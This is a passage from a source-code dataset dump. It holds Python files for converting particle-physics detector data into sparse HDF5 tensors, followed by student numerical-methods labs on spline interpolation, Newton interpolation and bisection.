out,binedges=self.histogram(i,bins)\\n find(out)\\n\\n self.binedges=binedges\\n \\n \\n def sparse(self,i):\\n a=sparray(self.shape,default=self.__default, dtype=self.dtype)\\n\\n for C,V in zip(self.C[i],self.V[i]):\\n a[C]=V\\n\\n return a\\n\\n def histogram(self,i,bins=False):\\n if not (isinstance(bins,list) or isinstance(bins,tuple) ):\\n bins=self.shape\\n # returns histogram and bin edges\\n return np.histogramdd(self.C[i],bins=list(bins),weights=self.V[i])\\n\\n def histogramAll(self,range=False,bins=False):\\n if not (isinstance(bins,list) or isinstance(bins,tuple) ):\\n bins=self.shape\\n if range:\\n N=range[1]-range[0]\\n else:\\n N=self.len()\\n out=np.zeros((N,)+tuple(bins))\\n\\n if not range:\\n range=xrange(N)\\n else:\\n range=xrange(range[0],range[1])\\n\\n for i in range:\\n out[i],binedges=self.histogram(i,bins)\\n \\n return out,binedges\\n \\n # This only makes sense if the coordinates are integers\\n def dense(self,i):\\n if self.unbinned:\\n return self.histogram(i)[0]\\n \\n a=np.zeros((1,)+self.shape,dtype=self.dtype)\\n\\n for C,V in zip(self.C[i],self.V[i]):\\n a[tuple(C)]=V\\n\\n return a\\n\\n def denseAll(self,range=[]):\\n if self.unbinned:\\n return self.histogramAll(range)[0]\\n\\n if len(range)>0:\\n Start=range[0]\\n Stop=range[1]\\n else:\\n Start=0\\n Stop=len(self.C)\\n\\n a=np.zeros((Stop-Start,)+tuple(self.shape),dtype=self.dtype)\\n \\n for i in xrange(Start,Stop):\\n for C,V in zip(self.C[i],self.V[i]):\\n try:\\n a[i-Start][tuple(C)]=V\\n except:\\n print \\\"Reached End of Sample.\\\"\\n\\n return a\\n \\n \\n def Writeh5(self,h5file,name,range=[]):\\n root = h5file.create_group(\\\"/\\\",name,name)\\n FILTERS = Filters(complib='zlib', complevel=5)\\n\\n if self.unbinned:\\n CT=h5file.create_vlarray(root,\\\"C\\\", Float32Atom(shape=len(self.shape)),\\\"\\\",filters=FILTERS)\\n else:\\n CT=h5file.create_vlarray(root,\\\"C\\\", Int32Atom(shape=len(self.shape)),\\\"\\\",filters=FILTERS)\\n VT=h5file.create_vlarray(root,\\\"V\\\", Float32Atom(),\\\"\\\",filters=FILTERS) \\n h5file.create_array(root,\\\"shape\\\",self.shape)\\n h5file.create_array(root,\\\"unbinned\\\",[int(self.unbinned)])\\n \\n if len(range)>0:\\n Start=range[0]\\n Stop=range[1]\\n else:\\n Start=0\\n Stop=len(self.C)\\n\\n for i in xrange(Start,Stop):\\n CT.append(self.C[i])\\n VT.append(self.V[i])\\n\\n def Readh5(self,f,name,range=[]):\\n self.shape=np.array(f[name][\\\"shape\\\"])\\n self.unbinned=bool(f[name][\\\"unbinned\\\"][0])\\n if len(range)>0:\\n Start=range[0]\\n Stop=range[1]\\n self.C=f[name][\\\"C\\\"][Start:Stop]\\n self.V=f[name][\\\"V\\\"][Start:Stop]\\n\\n else:\\n self.C=f[name][\\\"C\\\"]\\n self.V=f[name][\\\"V\\\"]\\n\\n def Readh5Files(self,filelist,name):\\n for filename in filelist:\\n f=h5py.File(filename,\\\"r\\\")\\n self.shape=np.array(f[name][\\\"shape\\\"])\\n\\n try:\\n self.C=np.concatenate(self.C,f[name][\\\"C\\\"])\\n # self.V=np.concatenate(self.V,f[name][\\\"V\\\"])\\n self.V+=list(self.V,f[name][\\\"V\\\"])\\n except:\\n self.C=np.array(f[name][\\\"C\\\"])\\n self.V=list(f[name][\\\"V\\\"])\\n f.close()\\n\\n def Readh5Files2(self,filelist,name):\\n for filename in filelist:\\n f=h5py.File(filename,\\\"r\\\")\\n self.shape=np.array(f[name][\\\"shape\\\"])\\n\\n try:\\n self.C=f[name][\\\"C\\\"]\\n # self.V=np.concatenate(self.V,f[name][\\\"V\\\"])\\n self.V+=f[name][\\\"V\\\"]\\n except:\\n self.C=np.array(f[name][\\\"C\\\"])\\n self.V=list(f[name][\\\"V\\\"])\\n f.close()\\n\\n \\n def FromDense(self,A,Clear=False):\\n if Clear:\\n self.C=[]\\n self.V=[]\\n for a in A:\\n X,Y,V=find(a)\\n C=np.array([X,Y])\\n C=C.transpose()\\n \\n self.C.append(tuple(C))\\n self.V.append(V)\\n\\n def AppendFromDense(self,a):\\n\\n X,Y,V=find(a)\\n C=np.array([X,Y])\\n C=C.transpose()\\n \\n self.C.append(tuple(C))\\n self.V.append(V)\\n\\n\\n \\n def len(self):\\n try:\\n N=len(self.C)\\n except:\\n N=self.C.shape[0]\\n return N\\n\\n \\n def DenseGenerator(self,BatchSize,Wrap=True):\\n Done=False\\n N=self.len()\\n while not Done:\\n for i in xrange(0,N-BatchSize,BatchSize): # May miss some Examples at end of file... need better logic\\n yield self.denseAll([i,i+BatchSize])\\n Done=not Wrap\\n \\nif __name__ == '__main__':\\n # Main\\n import h5py\\n import time\\n\\n shape=(10000,10,360)\\n density=0.1\\n batchsize=100\\n \\n N_Examples=shape[0]\\n N_Vals=np.prod(shape)\\n \\n print \\\"Testing with tensor size\\\", shape, \\\" and density\\\",density,\\\".\\\"\\n\\n # Generate Some Sparse Data\\n start=time.time()\\n Vals=np.array(np.random.random(int(N_Vals*density)),dtype=\\\"float32\\\")\\n Zs=np.zeros(N_Vals-Vals.shape[0],dtype=\\\"float32\\\")\\n Train_X=np.concatenate((Vals,Zs))\\n np.random.shuffle(Train_X)\\n Train_X=Train_X.reshape(shape)\\n print \\\"Time Generate Sparse Data (into a Dense Tensor):\\\",time.time()-start\\n\\n # Now Create the sparse \\\"Tensor\\\"\\n X=SparseTensorDataSet(Train_X.shape[1:])\\n \\n # Test making the data sparse. (Only works for 2d right now)\\n start=time.time()\\n X.FromDense(Train_X)\\n print \\\"Time to convert to Sparse:\\\",time.time()-start\\n\\n print \\\"Sparsity Achieved: \\\",float(sum(map(len,X.C)))/N_Vals\\n\\n # Write to File\\n start=time.time()\\n f=open_file(\\\"TestOut.h5\\\",\\\"w\\\")\\n X.Writeh5(f,\\\"Data\\\")\\n f.close()\\n print \\\"Time to write out:\\\",time.time()-start\\n \\n # Read back\\n start=time.time()\\n XX=SparseTensorDataSet(Train_X.shape[1:])\\n f=h5py.File(\\\"TestOut.h5\\\",\\\"r\\\")\\n XX.Readh5(f,\\\"Data\\\")\\n f.close()\\n print \\\"Time to read back:\\\",time.time()-start\\n \\n # Try to reconstruct the original data\\n start=time.time()\\n XXX=XX.denseAll()\\n print \\\"Time to convert to Dense:\\\",time.time()-start\\n \\n # Test\\n print\\n NValues=np.prod(Train_X.shape)\\n T=Train_X==XXX\\n NGood=np.sum(T)\\n print \\\"Number of non-matching values\\\",NValues-NGood ,\\\"/\\\",NValues\\n\\n print \\\"The Difference:\\\"\\n print XXX[np.where(T==False)]-Train_X[np.where(T==False)]\\n print \\\"Average difference of mismatch terms:\\\", np.sum( XXX[np.where(T==False)]-Train_X[np.where(T==False)])/(NValues-NGood)\\n\\n start=time.time()\\n print \\\"Generator batchsize:\\\",batchsize\\n for D in XX.DenseGenerator(batchsize,False):\\n print \\\".\\\",\\n\\n print\\n print \\\"Time to run generator:\\\",time.time()-start\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5505473017692566,\n \"alphanum_fraction\": 0.5676110982894897,\n \"avg_line_length\": 28.81730842590332,\n \"blob_id\": \"08ae34e06f959e43b5b73b8375aefc1da38fcea5\",\n \"content_id\": \"435f970dda7f38e6ce9321a36c997f07fd0a79ee\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3106,\n \"license_type\": \"no_license\",\n \"max_line_length\": 136,\n \"num_lines\": 104,\n \"path\": \"/WireDataUtils.py\",\n \"repo_name\": \"UTA-HEP-Computing/DLTool\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import numpy\\nimport numpy as np\\nimport h5py\\nimport math\\nimport ROOT\\n\\ndef DownSample(Data,factor,Nx,Ny,sumabs=False):\\n if factor==0:\\n return np.reshape(Data,[Nx,Ny]),Ny\\n\\n # Remove entries at the end so Down Sampling works\\n NyNew=Ny-Ny%factor\\n Data1=np.reshape(Data,[Nx,Ny])[:,0:NyNew]\\n \\n # DownSample \\n if sumabs:\\n a=abs(Data1.reshape([Nx*NyNew/factor,factor])).sum(axis=1).reshape([Nx,NyNew/factor])\\n else:\\n a=Data1.reshape([Nx*NyNew/factor,factor]).sum(axis=1).reshape([Nx,NyNew/factor])\\n\\n return a,NyNew\\n\\ndef GetXWindow(Data,i,BoxSizeX):\\n return Data[:,i:i+BoxSizeX]\\n\\n\\ndef ScanWindow(Data,BoxSizeX=256,Nx=240,Ny=4096):\\n\\n NyNew=Ny\\n #Scan the Window\\n b=np.array([0]*(NyNew-BoxSizeX))\\n\\n for i in xrange(0,NyNew-BoxSizeX):\\n b[i]=GetXWindow(Data,i,BoxSizeX).clip(0,99999999999).sum()\\n\\n #Find the Window with max Energy/Charge\\n BoxStart=b.argmax()\\n MaxSum=b[BoxStart]\\n\\n #Store the window\\n Box=Data[:,BoxStart:BoxStart+BoxSizeX]\\n\\n return Box,BoxStart,MaxSum\\n\\n\\ndef ReadADCWire(t,EventList=[0],NPlanes=2,samples=4500):\\n\\n Events=[]\\n Attributes=[]\\n\\n for NEvent in EventList:\\n\\n if (NEvent>-1):\\n t.GetEntry(NEvent)\\n\\n x=numpy.array(t.WireADC)\\n a_size = t.geant_list_size \\n #print a_size\\n if NPlanes<3:\\n y=numpy.pad(x,(0,t.nWires/NPlanes*samples),mode='constant')\\n else:\\n y=x\\n\\n z=numpy.reshape(y,[NPlanes+1,t.nWires/NPlanes,samples])\\n Events+=[z]\\n #Creat Dictionary\\n AA={}\\n\\t#getting information for the line equation\\n #print \\\"out\\\"\\n# print numpy.array(t.StartPointx)[0]\\n #if (numpy.array(t.process_primary)[a_size] == 0) and (numpy.array(t.pdg)[a_size] == 11 or numpy.array(t.pdg)[a_size] == 13)\\n for PrimaryI in xrange(0,a_size):\\n if t.process_primary[PrimaryI]==1:\\n break\\n\\n #print \\\"PrimaryI:\\\", PrimaryI\\n \\n #print \\\"xi \\\",xi\\n\\n # [xi,yi,zi]= [t.StartPointx[PrimaryI]-t.EndPointx[PrimaryI],\\n # t.StartPointy[PrimaryI]-t.EndPointy[PrimaryI],\\n # t.StartPointz[PrimaryI]-t.EndPointz[PrimaryI]]\\n \\n AA[\\\"Track_length\\\"]= numpy.array(t.Track_length)[PrimaryI] #<---- here is now computed in WireDump\\n AA[\\\"pdg\\\"] = numpy.array(t.pdg)[PrimaryI]\\n AA[\\\"Eng\\\"] = numpy.array(t.Eng)[PrimaryI]\\n AA[\\\"Px\\\"] = numpy.array(t.Px)[PrimaryI]\\n AA[\\\"Py\\\"] = numpy.array(t.Py)[PrimaryI]\\n AA[\\\"Pz\\\"] = numpy.array(t.Pz)[PrimaryI] \\n#Creat Dictionary\\n #AA={}\\n\\n# AA[\\\"Foo\\\"]=t.bar\\n\\t AA[\\\"enu_truth\\\"]=numpy.array(t.enu_truth)\\n AA[\\\"lep_mom_truth\\\"]=numpy.array(t.lep_mom_truth)\\n AA[\\\"mode_truth\\\"]=numpy.array(t.mode_truth)\\n #AA[\\\"Track_length\\\"]=math.sqrt(math.pow((xs-x_i),2)+math.pow((ys-y_i),2)+math.pow((zs-z_i),2))\\n Attributes+=[AA]\\n\\n return [Events,Attributes]\\n\\n\\n\\n#def LineEquation_point(\\n\\n\\n\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.5191272497177124,\n \"alphanum_fraction\": 0.5627656579017639,\n \"avg_line_length\": 26.34883689880371,\n \"blob_id\": \"2c08bde183d1e70325e4d11f9346f9110561aa4c\",\n \"content_id\": \"137e42db68e449ceb81dc7dd0d7b613631aa4e09\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3529,\n \"license_type\": \"no_license\",\n \"max_line_length\": 134,\n \"num_lines\": 129,\n \"path\": \"/ProcessWireCell.py\",\n \"repo_name\": \"UTA-HEP-Computing/DLTool\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from ROOT import *\\nfrom root_numpy import hist2array\\nfrom SparseTensorDataSet import *\\nimport os,sys\\n\\ndef Plot3DTrack(X,Y,Z,V):\\n import matplotlib.pyplot as plt\\n import plotly.plotly as py\\n from mpl_toolkits.mplot3d import Axes3D\\n\\n fig = plt.figure()\\n fig,ax = fig.add_subplot(111, projection='3d')\\n ax.scatter(X,Y,Z,c=V)\\n fig.show()\\n return ax\\n\\ndef PlotSparseTensor(T,i):\\n return Plot3DTrack(T.C[i][0:100,0],\\n T.C[i][0:100,1],\\n T.C[i][0:100,2],\\n T.V[i][0:100])\\n\\n\\ndef ProcessRootFile(filein=\\\"WireDump_3D_electron_1462146937.root\\\",fileout=False,N_Max=-1,Sparse2D=False):\\n Rf=TFile.Open(filein)\\n t=Rf.Get(\\\"wiredump/anatree\\\")\\n\\n bins3D=[240,240,4096]\\n bins2D=[480,4096]\\n\\n N=t.GetEntries()\\n \\n if N_Max>0:\\n N=min(N,N_Max)\\n\\n images3D=SparseTensorDataSet(bins3D,unbinned=True)\\n if Sparse2D:\\n images2D=SparseTensorDataSet(bins2D,unbinned=False)\\n else:\\n d=np.zeros((N,480,4096))\\n \\n for i in xrange(N):\\n t.GetEntry(i)\\n print i,\\\",\\\",\\n sys.stdout.flush()\\n\\n images3D.C.append(np.array([t.simide_x,t.simide_y,t.simide_z]).transpose())\\n images3D.V.append(np.array(t.simide_numElectrons))\\n\\n Cs=[]\\n Vs=[]\\n\\n MaxSamples=4096\\n\\n # if Sparse2D:\\n # d=np.zeros((t.raw_nChannel,MaxSamples))\\n # for j in xrange(t.raw_nChannel):\\n # h=t.raw_wf[j]\\n # d[j]=hist2array(h)[:MaxSamples]\\n\\n # images2D.AppendFromDense(d)\\n # else:\\n # for j in xrange(t.raw_nChannel):\\n # h=t.raw_wf[j]\\n # d[i][j]=hist2array(h)[:MaxSamples]\\n\\n if not fileout:\\n fileout2D=os.path.basename(filein)+\\\".2d.h5\\\"\\n fileout3D=os.path.basename(filein)+\\\".3d.h5\\\"\\n\\n if Sparse2D:\\n f=open_file(fileout2D,\\\"w\\\")\\n images2D.Writeh5(f,\\\"images2D\\\")\\n f.close()\\n else:\\n f=h5py.File(fileout2D,\\\"w\\\")\\n dset = f.create_dataset(\\\"images2D\\\", (N,480,4096),compression=\\\"gzip\\\")\\n dset[...]=d\\n f.close()\\n \\n f=open_file(fileout3D,\\\"w\\\")\\n images3D.Writeh5(f,\\\"images3D\\\")\\n f.close()\\n\\n #return t,Rf,images2D,images3D\\n\\nif __name__ == '__main__':\\n # Main\\n\\n t=ProcessRootFile(Sparse2D=False,N_Max=10)\\n \\n #PlotSparseTensor(images,2)\\n\\n\\n images3D=SparseTensorDataSet()\\n \\n # f=h5py.File(\\\"celltree_SimChannel_Raw.root.3d.h5\\\",\\\"r\\\")\\n # images3D.Readh5(f,\\\"images3D\\\")\\n # f.close()\\n #images2D=SparseTensorDataSet()\\n #f=h5py.File(\\\"celltree_SimChannel_Raw.root.2d.h5\\\",\\\"r\\\")\\n #images2D.Readh5(f,\\\"images2D\\\")\\n # f.close()\\n\\n\\n# f=h5py.File(\\\"celltree_SimChannel_Raw.root.2d.h5\\\",\\\"r\\\")\\n# images2D=np.array(f[\\\"images2D\\\"])\\n# f.close()\\n\\n # hAll1=images1.histogramAll()\\n \\n # NValues=np.prod(images.shape)*images.len()\\n # T=hAll[0]==hAll1[0]\\n # NGood=np.sum(T)\\n # print \\\"Number of non-matching values\\\",NValues-NGood ,\\\"/\\\",NValues\\n\\n # print \\\"The Difference:\\\"\\n # print hAll[0][np.where(T==False)]-hAll1[0][np.where(T==False)]\\n # print \\\"Average difference of mismatch terms:\\\", np.sum( hAll[0][np.where(T==False)]-hAll1[0][np.where(T==False)])/(NValues-NGood)\\n\\n\\n # for k in xrange(0,4096): #h.GetNbinsX()+1):\\n# V=h.GetBinContent(k+1)\\n# if V!=0.:\\n# Cs.append((j,k))\\n # Vs.append(V)\\n\\n# images2D.C.append(np.array(Cs))\\n# images2D.V.append(np.array(Vs))\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.603939414024353,\n \"alphanum_fraction\": 0.625151515007019,\n \"avg_line_length\": 22.076923370361328,\n \"blob_id\": \"676fdfa3f0e71f7c464f4b2c9a8649c981c448f7\",\n \"content_id\": \"c16e3915d6a8c45e58eab71cca8bf52ffc8fdc16\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3300,\n \"license_type\": \"no_license\",\n \"max_line_length\": 131,\n \"num_lines\": 143,\n \"path\": \"/ProcessRootFile.py\",\n \"repo_name\": \"UTA-HEP-Computing/DLTool\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import time\\nimport ROOT\\nimport rootpy\\nimport root_numpy\\nimport numpy\\nimport math\\nimport sys\\nimport os\\nimport glob\\n\\nfrom scipy import misc as m\\nfrom WireDataUtils import *\\nfrom subprocess import call\\nimport multiprocessing \\n\\ndef preprocess(X):\\n return X[:2,:,0:4096] \\n\\ndef ProcessEvents(NEvents,infile,outfile,Offset=0):\\n # ReadEvents\\n f=ROOT.TFile(infile)\\n t=f.Get(\\\"wiredump/anatree\\\")\\n if NEvents<=0:\\n NEvents=t.GetEntries()\\n \\n EventList=range(0,NEvents)\\n\\n #Read one event.\\n [example,Attributes]=ReadADCWire(t,[EventList[0]],NPlanes=2,samples=4500)\\n\\n X=preprocess(example[0])\\n image_shape= X.shape\\n assert image_shape == (2, 240, 4096)\\n\\n dtype = 'float16' # 'float16' # Half-precision should be enough.\\n compression = 'gzip' #'gzip'\\n chunksize = 1 # We use chunksize=1 because we don't know how many events are in src file.\\n chunkshape = (chunksize,) + image_shape\\n\\n h5FileName=outfile\\n h5out= h5py.File(h5FileName+\\\".h5\\\",\\\"w\\\")\\n N=len(EventList)\\n \\n # Initialize data sets.\\n dsets = {}\\n\\n # Each event contains the following attributes.\\n attributes = Attributes[0].keys()\\n for attr in attributes:\\n dsets[attr] = h5out.create_dataset(attr, (N,), dtype='float32')\\n\\n # Each event is an image of image_shape.\\n dsets['features'] = h5out.create_dataset('features', (N,)+image_shape, chunks=chunkshape, dtype=dtype, compression=compression)\\n \\n for EventI in xrange(0,N): \\n [events,Attributes]=ReadADCWire(t,[EventList[EventI]],NPlanes=2,samples=4500)\\n \\n event=events[0]\\n dsets['features'][EventI] = preprocess(event)\\n\\n for attr in Attributes[0]:\\n dsets[attr][EventI] = Attributes[0][attr]\\n\\n f.Close()\\n\\n h5out.close()\\n\\n return True\\n\\n\\n################################################### \\n\\nInputDir=sys.argv[1]\\n\\nif len(sys.argv)>2:\\n OutputDir=sys.argv[2]\\nelse:\\n OutputDir=\\\"./\\\"\\n\\nif OutputDir[:-1]!=\\\"/\\\":\\n OutputDir=OutputDir+\\\"/\\\"\\n\\nprint \\\"Reading Directory:\\\",InputDir\\nprint \\\"Output Dir:\\\", OutputDir\\n\\n#Make the directories\\n\\nif not os.path.exists(OutputDir):\\n os.makedirs(OutputDir)\\n\\nOffset=0\\n\\nif len(sys.argv)>4:\\n Offset=max(long(sys.argv[4]),Offset)\\n\\nNEvents=0\\n\\nif len(sys.argv)>3:\\n if long(sys.argv[3])>0:\\n NEvents=long(sys.argv[3])\\n\\nprint \\\"NEvents per file: \\\",NEvents\\nprint \\\"Offset: \\\",Offset\\n\\nfiles = glob.glob(InputDir + '/*/*/wire_dump*.root')\\nprint 'Found %d files.' % len(files)\\n\\n\\ndef wrapper(filename):\\n basename = os.path.basename(filename)\\n fout = '/' + basename.split(\\\".\\\")[-2]\\n fout = fout.split(\\\"_\\\")[-1]\\n # Construct name from Docker Subdirectories\\n dockername = filename.split(\\\"/\\\")[-2]\\n particlename = filename.split(\\\"/\\\")[-3]\\n fout = OutputDir +particlename+\\\"_\\\"+fout + \\\"-\\\" + dockername\\n\\n print fout,\\n \\n if not os.path.isfile(fout+\\\".h5\\\"): \\n output=ProcessEvents(NEvents,filename,fout,\\n Offset=Offset)\\n pass\\n else:\\n print \\\"Exists. Skipping.\\\",\\n\\n print \\\"Done.\\\"\\n return\\n\\nnum_threads=48\\n\\n#wrapper(files[0])\\n\\ntic = time.clock()\\ntry:\\n pool = multiprocessing.Pool(num_threads)\\n pool.map(wrapper, files)\\nexcept:\\n print \\\"Error____\\\"\\nfinally:\\n pool.close()\\n pool.join()\\nprint time.clock() - tic\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":6,"string":"6"}}},{"rowIdx":2978336,"cells":{"repo_name":{"kind":"string","value":"MrSkl1f/CA"},"repo_url":{"kind":"string","value":"https://github.com/MrSkl1f/CA"},"snapshot_id":{"kind":"string","value":"8af3750014971caffbd9fd51b9952073175186a7"},"revision_id":{"kind":"string","value":"27fd28a65499e7792881f980de04f34797f24326"},"directory_id":{"kind":"string","value":"d611ecb60c73ed61ec26ba943b0040076a0bb18f"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-08-20T12:19:34.270532","string":"2022-08-20T12:19:34.270532"},"revision_date":{"kind":"timestamp","value":"2020-05-23T14:42:45","string":"2020-05-23T14:42:45"},"committer_date":{"kind":"timestamp","value":"2020-05-23T14:42:45","string":"2020-05-23T14:42:45"},"github_id":{"kind":"number","value":263736493,"string":"263,736,493"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.4944238066673279,"alphanum_fraction":0.5183218121528625,"avg_line_length":32.64285659790039,"blob_id":"9589ee20add78273cf54452460cfd876b370e768","content_id":"0c156337e092faccced3de02bf3c2f0c6461a8ae","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2001,"license_type":"no_license","max_line_length":124,"num_lines":56,"path":"/ThirdLab/3labMain.py","repo_name":"MrSkl1f/CA","src_encoding":"UTF-8","text":"def f(x):\n return x ** 3\n\ndef get_table(xStart, step, amount):\n xMas = [xStart + step*i for i in range(amount)]\n yMas = [f(x) for x in xMas]\n return xMas, yMas\n\ndef interval(xMas, yMas, x):\n for i in range(1, len(xMas)):\n if xMas[i - 1] <= x < xMas[i]:\n return i\n return len(xMas)\n\ndef spline(xMas, yMas, step, xNeed): \n eta = [0, 0, 0]\n ksi = [0, 0, 0]\n\n # нахождение eta и ksi\n for i in range(2, len(xMas)):\n a = step\n b = -4 * step\n d = step\n f = -3 * ((yMas[i] - yMas[i - 1]) / step - (yMas[i - 1] - yMas[i - 2]) / step)\n eta.append(d / (b - a * eta[i]))\n ksi.append((a * ksi[i] + f) / (b - a * eta[i]))\n\n ci = [0] * (len(xMas) + 1)\n # определяем коэффы ci\n for i in range(len(xMas) - 1, 1, -1):\n ci[i] = eta[i + 1] * ci[i + 1] + ksi[i + 1]\n\n # определяем коэффы ai bi ci, получаем систему уравнений\n ai = [0 if i < 1 else yMas[i - 1] for i in range(len(xMas))]\n bi = [0 if i < 1 else ((yMas[i] - yMas[i - 1]) / step) - (step / 3 * (ci[i + 1] + 2 * ci[i])) for i in range(len(xMas))]\n di = [0 if i < 1 else (ci[i + 1] - ci[i]) / (3 * step) for i in range(len(xMas))]\n\n hi = xNeed - xMas[pos - 1]\n res = ai[pos] + bi[pos] * hi + ci[pos] * hi ** 2 + di[pos] * hi ** 3\n return res\n\nif __name__ == \"__main__\":\n xStart = float(input(\"Input beginning value of x: \"))\n xStep = float(input(\"Input step for x value: \"))\n xCount = int(input(\"Input amount of dots: \"))\n\n xMas, yMas = get_table(xStart, xStep, xCount)\n\n print(xMas, yMas)\n xNeed = float(input('Введите x > '))\n\n pos = interval(xMas, yMas, xNeed)\n res = spline(xMas, yMas, xStep, xNeed)\n print(\"Вычисленное значение f(x): {:.4f}\".format(res))\n print(\"Точное значение f(x): {:.4f}\".format(f(xNeed)))\n print(\"Погрешность: {:.2f}%\".format(10 * (1 - res / f(xNeed))))"},{"alpha_fraction":0.536203145980835,"alphanum_fraction":0.5547550320625305,"avg_line_length":32.04166793823242,"blob_id":"4ea89e3ea9d4244a2027c1337e59767bf7be133a","content_id":"752fa8f9dec401585ad617519c74e482040a2b62","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5960,"license_type":"no_license","max_line_length":116,"num_lines":168,"path":"/FirstLab/FirstLab.py","repo_name":"MrSkl1f/CA","src_encoding":"UTF-8","text":"import math\nfrom math import radians\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass HalfDivisionMethod:\n def __init__(self, a, b):\n self.eps = 1e-5\n self.a = a\n self.b = b\n \n def MPD(self):\n a = self.a\n b = self.b\n while abs(b - a) > self.eps:\n x = (a + b) / 2.0\n fx = func(x)\n fa = func(a)\n if (fx < 0 and fa < 0) or (fx > 0 and fa > 0):\n a = x\n else:\n b = x\n return x\n\nclass ConventionalInterpolation:\n def __init__(self, n, x, ArrForX, ArrForY):\n self.PolynomialDegree = n\n self.FindNum = x\n self.table = [ArrForX, ArrForY]\n\n def ModifyTable(self, table, n):\n for i in range(n):\n tmp = []\n for j in range(n-i):\n tmp.append((table[i+1][j] - table[i+1][j+1]) / (table[0][j] - table[0][i+j+1]))\n #print(table[0][j], table[0][i+j+1])\n table.append(tmp)\n return table\n\n def CreateIterval(self, n, x):\n MaxLength = len((self.table)[0])\n InderxNear = abs((self.table)[0][0] - x)\n for i in range(MaxLength):\n if abs((self.table)[0][i] - x) < InderxNear:\n InderxNear = abs((self.table)[0][i] - x)\n\n #InderxNear = min(range(MaxLength), key = lambda i: abs((self.table)[0][i] - x))\n SpaceInFirstTable = math.ceil(n / 2) \n \n if (InderxNear + SpaceInFirstTable + 1 > MaxLength): \n IndexForEnd = MaxLength\n IndexForStart = MaxLength - n\n elif (InderxNear < SpaceInFirstTable):\n IndexForStart = 0\n IndexForEnd = n\n else:\n IndexForStart = InderxNear - SpaceInFirstTable + 1\n IndexForEnd = IndexForStart + n \n\n return [self.table[0][IndexForStart:IndexForEnd], self.table[1][IndexForStart:IndexForEnd]]\n\n def printTable(self):\n print(self.table)\n\n def interpolate(self):\n self.table = self.CreateIterval(self.PolynomialDegree + 1, self.FindNum)\n #print(self.table)\n CreatedMatrix = self.ModifyTable(self.table, self.PolynomialDegree)\n #print(CreatedMatrix)\n tmp = 1\n res = 0\n for i in range(self.PolynomialDegree+1):\n res += tmp * CreatedMatrix[i+1][0]\n tmp *= (self.FindNum - CreatedMatrix[0][i])\n\n return res\n\ndef InputData(CheckException):\n try:\n PolynomialDegree = int(input(\"Введите степень полинома (целое, больше 0) > \"))\n #if PolynomialDegree <= 0:\n # print(\"Степень должна быть больше 0\")\n # CheckException = 0\n # return 0, 0, 0\n if PolynomialDegree > 11:\n print(\"Степень должна быть меньше либо равна кол-ву элементов таблицы\")\n CheckException = 0\n return 0, 0, 0\n except:\n print(\"Неправильный ввод степени полинома\\n\")\n CheckException = 0\n if CheckException:\n try:\n FindNum = float(input(\"Введите x (или y для обратной), относительно которого искать (вещественное) > \"))\n return PolynomialDegree, FindNum, CheckException\n except:\n print(\"Неправильный ввод x\\n\")\n CheckException = 0\n return 0, 0, 0\n\ndef InputDataForMethod(CheckException):\n try:\n a = float(input(\"Введите начало промежутка > \"))\n except:\n CheckException = 0\n print(\"Число должно быть целым!\")\n return 0, 0, 0\n if CheckException:\n try:\n b = float(input(\"Введите конец промежутка > \"))\n if b < a:\n CheckException = 0\n print(\"Число должно быть меньше начала промежутка!\")\n return 0, 0, 0\n elif b == a:\n CheckException = 0\n print(\"Число должно быть строго больше начала промежутка!\")\n return 0, 0, 0\n except:\n CheckException = 0\n print(\"Число должно быть целым!\")\n return 0, 0, 0\n return a, b, CheckException\n\ndef func(x):\n return x ** 3 + 1\n\nCheckException = 1\n\nPolynomialDegree, FindNum, CheckException = InputData(CheckException)\nif CheckException:\n ArrayForX = []\n StartX = -3\n for i in range(11):\n ArrayForX.append(StartX)\n StartX += 1\n ArrayForY = []\n for i in range(11):\n ArrayForY.append(func(ArrayForX[i]))\n for i in range (11):\n print(ArrayForX[i], ArrayForY[i])\n #ArrayForX = []\n #ArrayForY = []\n #ArrayForX = [1, 3, 4, 5]\n #ArrayForY = [2, -0.5, -10, 1]\n\n ObjectForResult = ConventionalInterpolation(PolynomialDegree, FindNum, ArrayForX, ArrayForY)\n Result = ObjectForResult.interpolate()\n print(\"\\nInterpolated: %.3f\" % Result)\n if CheckException:\n ObjectForResultReverse = ConventionalInterpolation(PolynomialDegree, 0, ArrayForY, ArrayForX)\n Result = ObjectForResultReverse.interpolate()\n print(\"Interpolated reverse: %.3f\" % Result)\n a, b, CheckException = InputDataForMethod(CheckException)\n if CheckException:\n ObjectForResultWithMethor = HalfDivisionMethod(a, b)\n Result = ObjectForResultWithMethor.MPD()\n print(\"Method: %.3f\" % Result)\n\n x = np.linspace(-1.0, 3.0, num=20)\n y = [func(i) for i in x]\n\n plt.title(\"Линейная зависимость y = x ** 3 + 1\") # заголовок\n plt.xlabel(\"x\")\n plt.ylabel(\"y\") \n plt.grid() \n plt.plot(x, y) \n 